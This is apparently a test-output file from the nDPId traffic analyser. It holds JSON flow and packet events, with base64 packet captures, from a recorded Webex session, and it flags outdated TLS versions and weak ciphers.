+00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1411,"source":"webex.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":4,"flow_first_seen":1444570712008,"flow_last_seen":1444570712016,"flow_tot_l4_data_len":287,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":71,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55687,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00409{"flow_id":50,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1412,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570712,"pkt_ts_usec":16964,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA7tAABAGrqut8wBuCggAAQG72YePnxuJcGDlM1AQ\/\/8bawAA"} +00442{"flow_id":49,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1414,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":705974,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"ABoRAAACABoRAAABCABFAAA\/CyxAAEAGZvYKCAABUEpuRIMSAbsmf9p02YApSlAYPLgiMwAAFQMBABLzO3uKwLUa5N0D96wcS3I69kA="} +00412{"flow_id":49,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1415,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":706775,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA7xAABAGnn1QSm5ECggAAQG7gxLZgClKJn\/ai1AQ\/\/9emgAA"} +05679{"flow_id":50,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1416,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":707778,"pkt_caplen":3961,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3961,"pkt_l4_len":3927,"pkt":"ABoRAAACABoRAAABCABFAA9rA71AABAGn2at8wBuCggAAQG72YePnxuJcGDlM1AY\/\/8jQQAAFgMBDz4CAAAtAwFWGmJDfb\/\/PzlIsaqgIFL8HT\/M2cJoPrWmeJ5ySmjuzwAANQAABf8BAAEACwAPBQAPAgAE6TCCBOUwggPNoAMCAQICECl0ianUHkm+YfeBaUbmIfMwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNTA0MTAwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHcxCzAJBgNVBAYTAnVzMRMwEQYDVQQIDApDYWxpZm9ybmlhMREwDwYDVQQHDAhTYW4gSm9zZTEcMBoGA1UECgwTQ2lzY28gU3lzdGVtcywgSW5jLjEMMAoGA1UECwwDQ1NHMRQwEgYDVQQDDAsqLndlYmV4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJ14yGFLwwhhZyxegl+wYbyZZp5q4NComRXAz+k8ibNrPp+x46qW\/Dt++MdupJ8y605K5KTQVb24unmPF+pZq1par5YBKMjJrJTW2aAI1MtQvRzSDCNhdWyxiP6SkVBm6ZOcLwL+kijn\/nCot5orO1NrHHFG\/HBcSk1aaetoitrjs5BWuMxdYuIZvzSoyViVbo\/w\/LUKXdD0rlOcFmOxtcf+VKb7w1eyku07Jp94m\/\/ILLQS\/jy7ymRyfGFnPLtNqBmUKFg+uAD7JcHZiy8g6quVEhEZdm3O+tUR2wYZ5in9yKcrxqoHwhW0O4X2\/rJ4mNDvikIgaWiSNW7eIoh0NWECAwEAAaOCAWQwggFgMBYGA1UdEQQPMA2CCyoud2ViZXguY29tMAkGA1UdEwQCMAAwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBlBgNVHSAEXjBcMFoGCmCGSAGG+EUBBzYwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGRoXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwHwYDVR0jBBgwFoAUX2DPYZBV34RDFIpgKrL1evRDGO8wKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL3NzLnN5bWNiLmNvbS9zcy5jcmwwVwYIKwYBBQUHAQEESzBJMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMCYGCCsGAQUFBzAChhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNydDANBgkqhkiG9w0BAQsFAAOCAQEAFNF1YB0fCkEyxRc1VQO7NUZao+PnZuavjgeTnyTKmHl\/4Zxh1Xg\/M\/f\/RHSrGrgUW2xaSZN\/Dwt2hqMtIi\/b\/AgOFeqNKmMxH3nWxf6f1Lr7QoTvApLQGqjeuIT3U6AiRMt4Ksgfx7+1Vbil1AaILo859VgXSMgVJTv4QpUpzg\/EKtUqPwMwq8PvwoTjlewyOt9YbCxNTO91JkKsYuwm7uUeU7Fx+r+rP+wgDwYVbbsUwQXAbj7QOj3dkPLzn+gcrhK1ZlgFf7Ti34xrqj7jNiaMc0dYh\/Ns3KCHMTs5rVCGLIk7lEgovwLDbJtuuQTlvaHoeZIGVPqROi5Bl\/WxAgAFPDCCBTgwggQgoAMCAQICEFE\/uXQ4cLc0QEGNMJMGmf8wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAWMwggFfMBIGA1UdEwEB\/wQIMAYBAf8CAQAwMAYDVR0fBCkwJzAloCOgIYYfaHR0cDovL3MxLnN5bWNiLmNvbS9wY2EzLWc1LmNybDAOBgNVHQ8BAf8EBAMCAQYwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vczIuc3ltY2IuY29tMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRU3ltYW50ZWNQS0ktMS01MzQwHQYDVR0OBBYEFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMB8GA1UdIwQYMBaAFH\/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqGSIb3DQEBCwUAA4IBAQBelFZJ3Y4tZfXBNlG2A+PannMZ8h9Zq1h+bCYFLPqB11wjFyIsN5P3huyF5rCj\/R\/iMqhFb+HZ+7mv0nCgMkJlv4T+FiqPP8Wm1qOTfUPpdCGRNSj0Y+ku7ff1XH9LmrUg6Qq94EUQDBSUml2l40uR6CSbRkBl9CJyzZn4iBH183\/mM4LmqMV+\/tAI4iVYCHFo5s2i5hTeTlIkLf3leRNT514vLU0bbUAVUiv3h4l4EoFu2U2qLXjUwiw9CF+HkZ4fDrDeMFJkhomqnWacDnYMgPJ02Cr4uDrO19YPEb5rqxT1vUGgImOJ8boPbyljZi0\/rIxyxfvH5NQP8jtPjCnHAATUMIIE0DCCBDmgAwIBAgIQJQzo4DBhLp8rifcFTXz4\/TANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xNzA1BgNVBAsTLkNsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDYxMTA4MDAwMDAwWhcNMjExMTA3MjM1OTU5WjCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ\/XxrcgxiV0i6CqqpkKzj\/i5Vbext0uz\/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6\/WhkcIzSdhDY2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn\/Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4\/VBEnkjWNHiDxpg8v+R70rfk\/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10\/NIeWiu5T6CUVAgMBAAGjggGbMIIBlzAPBgNVHRMBAf8EBTADAQH\/MDEGA1UdHwQqMCgwJqAkoCKGIGh0dHA6Ly9jcmwudmVyaXNpZ24uY29tL3BjYTMuY3JsMA4GA1UdDwEB\/wQEAwIBBjA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cudmVyaXNpZ24uY29tL2NwczAdBgNVHQ4EFgQUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2UvZ2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVyaXNpZ24uY29tL3ZzbG9nby5naWYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC52ZXJpc2lnbi5jb20wPgYDVR0lBDcwNQYIKwYBBQUHAwEGCCsGAQUFBwMCBggrBgEFBQcDAwYJYIZIAYb4QgQBBgpghkgBhvhFAQgBMA0GCSqGSIb3DQEBBQUAA4GBABMC3fjohgDyWvj4IAxZiGIHzs73Tvm7WaGY5eE43U68ZhjTresY8g3JbT5KlCDDPLq9ZVTGr0SzEK0saz6r1we2uIFjxfleLuUqZ87NMwwq14lWAyMfs77oOghZtOxFNfeKW\/9mz1Cvxm1XjRl4t7mi0VfqH5pLr7rJjhJ+xr3\/DgAAAA=="} +01112{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1416,"source":"webex.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":6,"flow_first_seen":1444570712008,"flow_last_seen":1444570713707,"flow_tot_l4_data_len":4234,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":705,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55687,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"64ea4359ad4b496db653a3f30f7073e6","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00469{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1425,"source":"webex.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1444570713719,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33559,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1425,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":719932,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8m55AAEAG1oYKCAABUEpuRIMXAbuTJntGAAAAAKACOQjR\/QAAAgQFtAQCCAoATODYAAAAAAEDAwY="} +00410{"flow_id":51,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1426,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":727956,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA8NAABAGnnZQSm5ECggAAQG7gxds2YS5kyZ7R1AS\/\/9iaAAA"} +00409{"flow_id":50,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1427,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":729259,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoBP9AAEAGfWcKCAABrfMAbtmHAbtwYOUzj58qzFAQTE+\/2AAA"} +00408{"flow_id":51,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1428,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":730352,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAom59AAEAG1pkKCAABUEpuRIMXAbuTJntHbNmEulAQOQgpYQAA"} +00702{"flow_id":51,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1429,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":734065,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"ABoRAAACABoRAAABCABFAAEAm6BAAEAG1cAKCAABUEpuRIMXAbuTJntHbNmEulAYOQhTzAAAFgMBANMBAADPAwFWGmZZuBzwgmCJdcmTjbwZnC8oKUidI7QzbitGwcbpgSBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgBGAAQABQAvADXAAsAEwAXADMAOwA\/AB8AJwArAEcATwBQAMwA5ADIAOAAKwAPADcAIwBIAFgATAAkAFQASAAMACAAUABEA\/wEAAEAACwAEAwABAgAKADQAMgAOAA0AGQALAAwAGAAJAAoAFgAXAAgABgAHABQAFQAEAAUAEgATAAEAAgADAA8AEAAR"} +00719{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1429,"source":"webex.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":4,"flow_first_seen":1444570713719,"flow_last_seen":1444570713734,"flow_tot_l4_data_len":316,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33559,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00410{"flow_id":51,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1430,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":734643,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA8RAABAGnnVQSm5ECggAAQG7gxds2YS6kyZ8H1AQ\/\/9hkQAA"} +00850{"flow_id":50,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1431,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":820220,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuBQBAAEAGfCAKCAABrfMAbtmHAbtwYOUzj58qzFAYTE8rqgAAFgMBAQYQAAECAQCWmAWectP+J0A5Z2E+tnU97CXr2FOrN+LZS8Vb9mt4CS85xnRMgnqdJ6+5bSTKY5+sKvD0uOf1\/W+RCAJKPf9jm1ZTqZ2Gfv4lNIMODzPmzr684HM+3meSGcQ8DxxKLdTe20+g5alQAPFfi6wh4AaLxCFXTcKKjU5ppmYA3lLabZTHgExRfPxWxrCIGH9cHAZwlD62tlSeJJ6Bj5suxXonXbcjTyTgz+8mv2YaroIm3XFBu247nShRyixb0vMsQybAOZdQyfLJ65phnYoR3sg3UTZdBTdKtLs72nU1ZcxYMM\/SRxfYlGHyI81qJK3cDBVnA0qVgWMM2Nph8o4B07yMFAMBAAEBFgMBADAj5FDOpEuOjNf0skw9zVzK1F2d+LsHA3YiiFiktoj052qwNVAhJb7qOp5xJoHV4\/s="} +00410{"flow_id":50,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1432,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570713,"pkt_ts_usec":820671,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA8VAABAGrqGt8wBuCggAAQG72YePnyrMcGDmeVAQ\/\/8K4gAA"} +00588{"flow_id":51,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1433,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":238965,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"ABoRAAACABoRAAABCABFAACpA8ZAABAGnfJQSm5ECggAAQG7gxds2YS6kyZ8H1AY\/\/8Z7AAAFgMBAFECAABNAwFWGmZ7j4touJYuyExL4xTp2XN88sUNliawBCgTpqIwUCBKAAAAOC7EJ2lJH7mDuj6DaIBXRCqOxY\/AVNJYEqB0IgAEAAAF\/wEAAQAUAwEAAQEWAwEAIGHRs+Sg8bWNqolu8prJr20w\/iFuAjz6TMIW1wLUxZ5c"} +00760{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1433,"source":"webex.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":6,"flow_first_seen":1444570713719,"flow_last_seen":1444570715238,"flow_tot_l4_data_len":485,"flow_min_l4_data_len":20,"flow_max_l4_data_len":236,"flow_avg_l4_data_len":80,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"80.74.110.68","src_port":33559,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"dff8a0aa1c904aaea76c5bf624e88333","ja3s":"6dfe5eb347aa509fc445e5628d467a2b","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00408{"flow_id":51,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1434,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":290000,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAom6FAAEAG1pcKCAABUEpuRIMXAbuTJnwfbNmFO1AQPLgkWAAA"} +00468{"flow_id":51,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1435,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":290624,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABTm6JAAEAG1msKCAABUEpuRIMXAbuTJnwfbNmFO1AYPLgnbAAAFAMBAAEBFgMBACAR8oB0o3Rds9SbYBXls93X3wUnTf47baRWW+9Ugy3q0g=="} +00410{"flow_id":51,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1436,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":291226,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA8dAABAGnnJQSm5ECggAAQG7gxds2YU7kyZ8SlAQ\/\/9g5QAA"} +01139{"flow_id":51,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1437,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":291631,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"ABoRAAACABoRAAABCABFAAJAm6NAAEAG1H0KCAABUEpuRIMXAbuTJnxKbNmFO1AQPLj2UQAAFwMBAmotdx5ar23jx984MUd61\/Wjb166+ABL2YYiOQsxwMy\/GwHKPU\/bkKTOAAzwSYa6oEu2a+I6LUlja27A1ZOwxbS3QIlQEKgp76y2Hip62w68GkHJtJ0TWkIjerP4L\/lhQkCRQaUIIU0noBNS\/lgGQXam1iA2+sdYvUMpcgUj2DR5f+61yoEvoszCR04Own1liBtMP7g3HqtQuX4T8Jg7uGyVwuzri0NcN2VE0hK2kmxaPVSG32my9\/qYJgrN+pTr0aBFuZIG7hU91Dlq5EMpk17dlHofe1+eSzQE8z\/PKEgLq3DftHy+HoP1RjFJxuUZLj0ipu+Oi1Pi+mZtIJcVPEHSiuqq5+5CG1hMCHcOWox1khxfbR7Ut9Kh+FKjjWvQaEcQLhFdQ3RjjDosWlP5pblW6qaVrxHplsq+axa+ZFqaRfR3IOEyDLdSDdboci8C2vLhXqkTU74\/kQWueDX2MGBu+n2DA0YgcbiqLJ5lGWTIcJW0DAOu6BDzB\/6lmhZTVEj+Krbi7uDbBQsyd1q40flWCklDIh13KfU52q7PWFdZpmB6HH3rMHo809rvOOep5kqM9Pg\/JjTiK3UcVWxj17XH++w6yYckeY+EyQOmYuyxa1tXdT2VTala0JmPlTW9GNRPi5xyYkB5bvAU\/azon0YyE5wxhcsF+CTHd2cS4+sps6xYrasuwaKreOoKyJntXaEDpp8="} +00411{"flow_id":51,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1438,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":292175,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA8hAABAGnnFQSm5ECggAAQG7gxds2YU7kyZ+YlAQ\/\/9ezQAA"} +00531{"flow_id":51,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1439,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":292587,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"ABoRAAACABoRAAABCABFAAB\/m6RAAEAG1j0KCAABUEpuRIMXAbuTJn5ibNmFO1AYPLgLFQAAWZdnM9xR0M5f7o9mvw919CJzP5C0k0bQO6Py1MH23oSKVFBPXJmhzIUsahG4\/AANndkHe+wGkpBlwB19IDPxn7sIPZskqXV\/oZiGoavGAjWEFXSPlQsn"} +00411{"flow_id":51,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1440,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":293172,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA8lAABAGnnBQSm5ECggAAQG7gxds2YU7kyZ+uVAQ\/\/9edgAA"} +00493{"flow_id":50,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1441,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":606959,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ABoRAAACABoRAAABCABFAABjA8pAABAGrmGt8wBuCggAAQG72YePnyrMcGDmeVAY\/\/9abgAAFAMBAAEBFgMBADBWJQhr79joU86s15MUoIhRGg1+bbo5s652aX8ifVfkCiuCsDqwLsYVwO07aQ7b9N4="} +00409{"flow_id":50,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1442,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570715,"pkt_ts_usec":660793,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoBQFAAEAGfWUKCAABrfMAbtmHAbtwYOZ5j58rB1AQTE++VwAA"} 